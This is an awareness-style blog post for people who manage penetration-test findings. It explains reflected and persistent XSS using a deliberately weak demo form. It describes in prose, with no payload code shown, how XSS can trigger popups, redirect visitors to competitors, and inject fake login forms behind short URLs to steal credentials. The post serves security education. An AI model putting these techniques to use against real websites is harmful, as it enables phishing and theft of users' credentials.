Those of us who interact with or manage the results from penetration testing teams all (hopefully!) understand the ramifications when a XSS vulnerability is found.
We may even all understand the differences between a reflected XSS vulnerability and a persistent (stored) XSS vulnerability.
What about those higher up the food chain? Do those who interact with the executives within an organisation fully understand the risks from a XSS vulnerability? Do they paint a realistic picture to those who are ultimately responsible for said website of just what is possible?
A reflected XSS vulnerability is when ‘code’ is injected into a website in such a way so as to deliver a payload or to produce a result on the end users browser. Reflected XSS vulnerabilities are delivered to a victim via various means such as an email causing the user to click on a malicious URL which in itself normally contains the malicious ‘code’.
A persistent XSS vulnerability is one in which the ‘code’ is actually injected into the website itself, and remains for multiple users to be attacked by. For example, placing XSS code within the database that a forum uses would mean anyone who viewed that specific forum or thread would be affected by said code. The URL used to access this forum would not appear malicious…
In this post I’d like to provide some examples of what is possible with a reflected XSS vulnerability, it is in no way an exhaustive list. I created a purposefully weak and simple application that prints (or executes) the text placed in the relevant fields. It uses the GET method which means the code is visible within the browsers address bar…
As can be seen the application is a simple form asking for a Name and CustomerID which are then printed on the next page
Notice that the URL contains now the ‘code’ for an alert, and its being executed without restriction.
Time for some fun… Any one remember Rick Astley?
From a PR point of view, an XSS can be very embarrassing. Executed in a certain manner and it could be used to launch a variety of ‘inappropriate’ popup windows which would appear to be from the ‘corporate’ website, it could equally be used to redirect any users accessing the specific URL to a company’s main competition.
One last example is the embedding of new forms into websites so as to try and steal users legitimate credentials. Now it could be said that vigilant users would see something wrong with the URL, but what about if it was hidden behind a ShortURL? How many of your users would fall for this in that scenario?